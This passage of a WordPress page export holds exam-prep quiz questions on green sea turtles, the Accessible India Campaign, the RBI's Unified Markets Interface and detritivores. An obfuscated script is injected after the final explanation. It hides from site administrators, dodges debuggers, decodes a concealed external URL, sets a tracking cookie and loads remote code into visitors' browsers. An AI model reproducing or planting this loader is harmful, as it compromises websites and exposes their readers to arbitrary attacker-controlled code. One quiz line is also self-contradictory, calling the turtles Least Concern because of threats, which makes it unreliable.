algae.<\/li>\n\n\n\n<li>Their grazing helps maintain healthy seagrass beds, which are crucial ecosystems for other marine life.<\/li>\n\n\n\n<li>Female Green Sea Turtles return to the same beach where they were born to lay their eggs, a phenomenon known as natal homing.<\/li>\n\n\n\n<li>A female can lay up to 200 eggs per nest and may nest multiple times in a single season.<\/li>\n\n\n\n<li>Green Sea Turtles are classified as Least Concern by the IUCN due to threats like habitat loss, poaching, bycatch, and climate change. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>Many countries protect them through nesting beach conservation, turtle excluder devices (TEDs) in fishing gear, and international treaties like CITES.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2019)<\/strong> <br><strong>Q. Consider the following statements:<\/strong> <br><br>1. Some species of turtles are herbivores. <br>2. Some species of fish are herbivores. <br>3. Some species of marine mammals are herbivores. <br>4. Some species of snakes are viviparous. <br><br><strong>Which of the statements given above are correct?<\/strong> <br><br>(a) 1 and 3 only <br>(b) 2, 3 and 4 only <br>(c) 2 and 4 only <br><strong>(d) 1, 2, 3 and 4<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/global-green-sea-turtle-population-has-increased-by-28-per-cent-since-1970s-iucn\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/global-green-sea-turtle-population-has-increased-by-28-per-cent-since-1970s-iucn<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>8. With reference to \u2018Sugamya Bharat Abhiyan\u2019, which of the following statements is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">1. The scheme aims to release the sex workers from their practice and provide them with alternative sources of livelihood.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">2. The campaign introduced a structured approach, focusing on making public buildings, transport networks like buses and trains, and digital platforms accessible to Divyangjans.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>Select the correct answer using the code given below<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>Answer: (b) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>In NEWS: <\/strong>Revamped Sugamya Bharat App Empowers Disabled Users<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>The Sugamya Bharat Abhiyan:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-127\">\n<li>The Sugamya Bharat Abhiyan, also known as the Accessible India Campaign, embarked on a mission to reshape India into a truly inclusive society.<\/li>\n\n\n\n<li>Launched on 3rd December 2015 by the Honourable Prime Minister, this flagship initiative was a direct response to the long-overlooked challenges faced by persons with disabilities. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>Rooted in the vision of &#8220;Sabka Sath, Sabka Vikas, Sabka Vishwas,&#8221; the campaign aimed to ensure universal accessibility across three vital domains: built infrastructure, transport systems, and the information and communication technology (ICT) ecosystem.<\/li>\n\n\n\n<li>The campaign introduced a structured approach, focusing on making public buildings, transport networks like buses and trains, and digital platforms accessible to Divyangjans. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>It also sought to create awareness and set enforceable standards for accessibility compliance.<\/li>\n\n\n\n<li>Although initially planned to conclude by March 2024, the campaign\u2019s objectives have been absorbed into the Creation of Barrier-Free Environment Scheme under the broader umbrella of the Scheme for Implementation of the Rights of Persons with Disabilities Act (SIPDA).<\/li>\n\n\n\n<li>This transition reinforces the idea that accessibility is a continuous endeavour, requiring sustained efforts to meet evolving challenges.<\/li>\n\n\n\n<li>As the Sugamya Bharat Abhiyan marks its ninth year, it stands as a milestone in India\u2019s journey towards fulfilling its commitment to an inclusive and equitable society, where every individual can thrive without barriers.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><strong>Q. \u2018Rashtriya Garima Abhiyaan\u2019 is a national campaign to<\/strong> <br><br>(a) rehabilitate the homeless and destitute persons and provide them with suitable sources of livelihood <br>(b) release the sex workers from their practice and provide them with alternative sources of livelihood <br>(c) eradicate the practice of manual scavenging and rehabilitate the manual scavengers <br>(d) release the bonded labourers from their bondage and rehabilitate them<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.aninews.in\/news\/national\/general-news\/revamped-sugamya-bharat-app-launched-at-purple-fest20251011230912\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.aninews.in\/news\/national\/general-news\/revamped-sugamya-bharat-app-launched-at-purple-fest20251011230912\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>9. With reference to the Unified Markets Interface (UMI), recently introduced by the Reserve Bank of India, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\">1. It enables tokenization of financial assets.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\">2. It allows settlement using wholesale Central Bank Digital Currency (CBDC).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\">3. It is designed exclusively for use by retail investors.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\">(a) 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\">(c) 1 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\">(d) 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>Answer: (a) 1 and 2<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>In NEWS: <\/strong>RBI Launches Unified Interface to Tokenize Assets<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\"><strong>The Unified Markets Interface (UMI):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-142\">\n<li>The Unified Markets Interface (UMI) is a next-generation financial market infrastructure being developed by the Reserve Bank of India (RBI).<\/li>\n\n\n\n<li>It aims to enable tokenization of financial assets such as government securities, corporate bonds, and other market instruments. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>The UMI will facilitate the use of wholesale Central Bank Digital Currency (CBDC) for settlement of transactions. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>It leverages technologies like blockchain and smart contracts to improve efficiency, transparency, and security in financial markets.<\/li>\n\n\n\n<li>UMI is designed to support real-time settlement and reduce transaction costs in the financial ecosystem.<\/li>\n\n\n\n<li>The system allows for fractional ownership of tokenized assets, making it easier for retail and institutional investors to access high-value securities. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>By integrating tokenization and CBDC-based settlement, UMI aims to modernize India\u2019s financial market infrastructure.<\/li>\n\n\n\n<li>UMI is part of RBI\u2019s broader initiative to digitally transform financial markets and enhance the use of Digital Public Infrastructure.<\/li>\n\n\n\n<li>The initial pilot results of UMI showed promising improvements in settlement speed, operational efficiency, and risk reduction.<\/li>\n\n\n\n<li>The development of UMI aligns with global trends where central banks and financial regulators are exploring tokenized markets and digital currencies.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><strong>Q. In India, which one of the following is responsible for maintaining price stability by controlling inflation?<\/strong> <br><br>(a) Department of Consumer Affairs <br>(b) Expenditure Management Commission <br>(c) Financial Stability and Development Council <br><strong>(d) Reserve Bank of India<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/business\/rbi-introduces-unified-markets-interface-to-tokenize-financial-assets-using-wholesale-cbdc-10295823\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/business\/rbi-introduces-unified-markets-interface-to-tokenize-financial-assets-using-wholesale-cbdc-10295823\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><a><\/a><strong>10. Which of the following are detritivores?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\">1. Earthworms<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\">2. Jellyfish<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\">3. Millipedes<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\">4. Seahorses<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\">5. Woodlice<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong>Select the correct answer using the code given below<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\">(a) 1, 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\">(b) 2, 3, 4 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\">(c) 1, 3 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\">(d) 1, 2, 3, 4 and 5<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>Answer: (c) 1, 3 and 5 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-157\">\n<li>Detritivores are organisms that feed on dead organic matter (detritus).<\/li>\n\n\n\n<li>Earthworms are classic detritivores; they consume decomposing organic material in soil.<\/li>\n\n\n\n<li>Millipedes feed on decaying leaves and plant matter, making them detritivores.<\/li>\n\n\n\n<li>Woodlice also feed on dead plant material and are detritivores.<\/li>\n\n\n\n<li>Jellyfish are carnivorous predators, not detritivores.<\/li>\n\n\n\n<li>Seahorses feed mainly on small crustaceans and plankton, so they are not detritivores.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\"><strong>Hence option (c) is correct.<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>With reference to National Green Hydrogen Mission, consider the following statements: I. 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